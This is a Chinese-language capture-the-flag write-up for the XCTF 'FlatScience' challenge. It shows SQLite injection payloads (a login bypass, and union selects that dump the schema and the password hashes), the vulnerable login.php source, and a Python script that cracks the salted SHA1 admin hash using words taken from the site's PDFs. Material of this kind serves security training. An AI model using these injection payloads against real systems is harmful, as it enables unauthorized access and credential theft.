XCTF-FlatScience
FlatScience
题目描述
啥描述也没有
解题过程
页面有好多链接,除了
论文pdf
之外,还有子目录下的index.html
,比如:
/1/index.html
,/1/3/index.html
扫了下,有
/admin.php
,/login.php
和robots.txt
(里面也是这俩页面)/login.php
页面,id加引号有报错,是SQLite3
用
' or 2=2 --
直接登录上了,进来是最开始的那个/index.html
登陆成功会跳转,没有回显,猜测可以进行布尔/延时盲注,以前好像没做过sqlite的注入题,好多关键字和函数都用不了,找的一些payload也用不了,丢给sqlmap跑了一下,可以延时盲注,但这个盲注太慢了(一直出错)
去看了
/admin.php
,大概是/login.php
的加强版,没法注入到这块思路有点断,只能等比蜗牛还慢的sqlmap跑点东西出来
等结果的时候看了下源码,发现有测试参数
访问
?debug
,返回了源码(下面是php部分)<?php
if(isset($_POST['usr']) && isset($_POST['pw'])){
$user = $_POST['usr'];
$pass = $_POST['pw']; $db = new SQLite3('../fancy.db'); $res = $db->query("SELECT id,name from Users where name='".$user."' and password='".sha1($pass."Salz!")."'");
if($res){
$row = $res->fetchArray();
}
else{
echo "<br>Some Error occourred!";
} if(isset($row['id'])){
setcookie('name',' '.$row['name'], time() + 60, '/');
header("Location: /");
die();
} } if(isset($_GET['debug']))
highlight_file('login.php');
?>因为
/admin.php
页面给了用户名是admin
,这里看看能不能注处对应的密码注意到:
user
参数对应输入框ID
name
参数会被写到cookie
里
所以可以
union select
用admin的密码代替name' union select id,password from Users where name='admin' --
拿到密码是
+3fab54a50e770d830c0416df817567662a9dc85c
, = =忘了还有sha1
刚好sqlmap也跑完了,发现只有一个
Users
表猜测是要用admin账号在
/admin.php
登录,所以需要拿到密码有两个思路
一个是跑出密码
一个是覆盖之前的密码
INSERT INTO Users(id, name, password) VALUES(999, 'test', '7c4a8d09ca3762af61e59520943dc26494f8941b')
发现insert
不可用用上边查密码的方法查了下admin的id=1,
update Users set password='7c4a8d09ca3762af61e59520943dc26494f8941b' where id=1
发现update
不可用
到这基本没思路了,跑密码也不能硬跑啊。。。
看wp
确实是队sqlite的了解太少了,这里用到了sqlite自带的结构表
sqlite_master
' union select name,sql from sqlite_master --+
得到
CREATE TABLE Users(
id int primary key,
name varchar(255),
password varchar(255),
hint varchar(255)
)
把这几个字段都扒下来
' union select id,group_concat(xxx) from Users --+
name password hint admin 3fab54a50e770d830c0416df817567662a9dc85c my fav word in my fav paper?!, fritze 54eae8935c90f467427f05e4ece82cf569f89507 my love is … ? hans 34b0bb7c304949f9ff2fc101eef0f048be10d3bd the password is password 看hint的意思,密码是paper里的一个单词
回过头去看这些paper的链接,没啥不同的,都下载下来吧
贴个处理pdf的代码,偷懒copy了一份,然后调好了bug(python3)
from pdfminer.pdfparser import PDFParser
from pdfminer.pdfdocument import PDFDocument
from pdfminer.pdfpage import PDFPage
from pdfminer.pdfinterp import PDFResourceManager, PDFPageInterpreter
from pdfminer.converter import PDFPageAggregator
from pdfminer.layout import LTTextBoxHorizontal, LAParams
import logging
import hashlib
import re
import os def pdf_2_txt(start, end):
pdf_filename = start
txt_filename = end
# 不显示warning
logging.propagate = False
logging.getLogger().setLevel(logging.ERROR)
device = PDFPageAggregator(PDFResourceManager(), laparams=LAParams())
interpreter = PDFPageInterpreter(PDFResourceManager(), device)
parser = PDFParser(open(pdf_filename, 'rb'))
doc = PDFDocument(parser)
parser.set_document(doc)
# 检测文档是否提供txt转换,不提供就忽略
if not doc.is_extractable:
pass
else:
with open(txt_filename, 'w+', encoding="utf-8") as fw:
print("num page:{}".format(len(list(PDFPage.create_pages(doc)))))
for page in PDFPage.create_pages(doc):
interpreter.process_page(page)
layout = device.get_result()
for x in layout:
if isinstance(x, LTTextBoxHorizontal):
results = x.get_text()
fw.write(results) def get_pwd():
for a in range(1, 31):
f = open(filePath + '\\txt\\' + str(a) + ".txt", "r", encoding='UTF-8').read()
wordlist = re.split(" |\n", f) for s in wordlist:
y = s + "Salz!"
encode = hashlib.sha1(y.encode('utf-8')).hexdigest()
if encode == "3fab54a50e770d830c0416df817567662a9dc85c":
print("password is :" + s)
break if __name__ == '__main__':
filePath = '' # 绝对路径
lists = os.listdir(filePath) for i in range(1, 31):
x = filePath + '\\' + lists[i - 1]
pdf_2_txt(x, filePath + '\\txt\\' + str(i) + '.txt') # 在目录下创建一个txt文件夹
参考
https://blog.csdn.net/qq_42967398/article/details/103480502
XCTF-FlatScience的更多相关文章
- 攻防世界(XCTF)WEB(进阶区)write up(三)
挑着做一些好玩的ctf题 FlatScience web2 unserialize3upload1wtf.sh-150ics-04web i-got-id-200 FlatScience 扫出来的lo ...
- 攻防世界(XCTF)WEB(进阶区)write up(四)
ics-07 Web_php_include Zhuanxv Web_python_template_injection ics-07 题前半部分是php弱类型 这段说当传入的id值浮点值不能为1 ...
- 攻防世界(XCTF)WEB(进阶区)write up(一)
cat ics-05 ics-06 lottery Cat XCTF 4th-WHCTF-2017 输入域名 输入普通域名无果 输入127.0.0.1返回了ping码的结果 有可能是命令执行 ...
- XCTF攻防世界Web之WriteUp
XCTF攻防世界Web之WriteUp 0x00 准备 [内容] 在xctf官网注册账号,即可食用. [目录] 目录 0x01 view-source2 0x02 get post3 0x03 rob ...
- xctf进阶-unserialize3反序列化
一道反序列化题: 打开后给出了一个php类,我们可以控制code值: `unserialize()` 会检查是否存在一个 `__wakeup()` 方法.如果存在,则会先调用 `__wakeup` 方 ...
- 日常破解--从XCTF的app3题目简单了解安卓备份文件以及sqliteCipher加密数据库
一.题目来源 题目来源:XCTF app3题目 二.解题过程 1.下载好题目,下载完后发现是.ab后缀名的文件,如下图所示: 2.什么是.ab文件?.ab后缀名的文件是Andr ...
- 日常破解--XCTF easy_apk
一.题目来源 来源:XCTF社区安卓题目easy_apk 二.破解思路 1.首先运行一下给的apk,发现就一个输入框和一个按钮,随便点击一下,发现弹出Toast验证失败.如下图所示: ...
- XCTF练习题-WEB-webshell
XCTF练习题-WEB-webshell 解题步骤: 1.观察题目,打开场景 2.根据题目提示,这道题很有可能是获取webshell,再看描述,一句话,基本确认了,观察一下页面,一句话内容,密码为sh ...
- 【Hack.lu-2017】FlatScience
信息: 题目来源:Hack.lu-2017 标签:SQL注入.源码泄露 解题过程 题目页面有多层,存在许多pdf文件,首先进行目录扫描: [TIME] => 2020-07-07 16:08:5 ...
- 【XCTF】ics-04
信息: 题目来源:XCTF 4th-CyberEarth 标签:PHP.SQL注入 题目描述:工控云管理系统新添加的登录和注册页面存在漏洞,请找出flag 解题过程 进入注册页面,尝试注册: 进行登录 ...
随机推荐
- apk、dex完整性验证
对Dex进行完整性的检查,可通过CRC,或者Hash值.可将校验值放到String资源文件里,或者放到服务器中. 1. 在代码中完成校验值对比逻辑,此部分代码后续不能再改变,否则CRC值会发生变化: ...
- Excel老式技术
Excel老式技术 VBS宏脚本嵌入明文代码
- scala集合上常用的方法
sacala 关于集合常用的操作 map1.映射:对集合中的每一个元素进行执行某一项操作2.返回值类型,正常情况不变,原来集合是什么类型,就返回什么类型3.元素类型,根据我们函数的返回值类型 val ...
- Java中BO、DAO、DO、DTO、PO、POJO、VO的概念
在程序开发中,经常会碰到各种专业术语,这里统一做一下解释,有遗漏或理解错误的恳请指正. BO(Business Object)业务对象 主要作用是把业务逻辑封装为一个对象,这个对象可以包括一个或多个其 ...
- Joomla框架搭建&远程代码执行(RCE)漏洞复现
一.漏洞描述 Joomla是一套内容管理系统,是使用PHP语言加上MYSQL数据库所开发的软件系统,最新版本为3.9.8,官网: https://downloads.joomla.org/,漏洞位于根 ...
- java连接sql server--关于登录验证及对数据库增删改查应用
一:步骤## 1.sql server建立数据库和相关表 2.建立数据源 (1).打开控制面板找到管理,打开ODBC选项或直接搜索数据源 (2).打开数据源配置后点击添加,选择sql server ...
- java例题_36 移动数组中数据位置(用到数组的合并操作)
1 /*36 [程序 36 移动位置] 2 题目:有 n 个整数,使其前面各数顺序向后移 m 个位置,最后 m 个数变成最前面的 m 个数,比如输入数字 3 为 1 2 3 4 5 6 7 8 9 0 ...
- vue+quasar+electron+springboot+mysql撸一个TODO LIST 看板
先看效果 写本项目的目的有几点: 学习下vue+electron桌面开发 学习下java和spring开发(本人一直使用PHP) 一直缺少一款能适合自己的TODO LIST软件,能有桌面端的 可直接打 ...
- 201871010203-陈鹏昱 实验二 个人项目—《D{0-1}KP问题》项目报告
项目 内容 课程班级博客链接 班级博客 这个作业要求链接 作业要求 我的课程学习目标 运用科学高效的方法学习软件工程的理论和知识 这个作业在哪些方面帮助我实现学习目标 掌握软件项目个人开发流程,掌握G ...
- 京东效率专家带你快速落地DevOps
行业内的公司纷纷在招聘DevOps工程师,企业的DevOps转型看起来迫在眉睫,公司内部也要设计和开发DevOps平台,DevOps已经成为了所有IT从业人员应知应会的必备技能. 为你提供一套清晰的D ...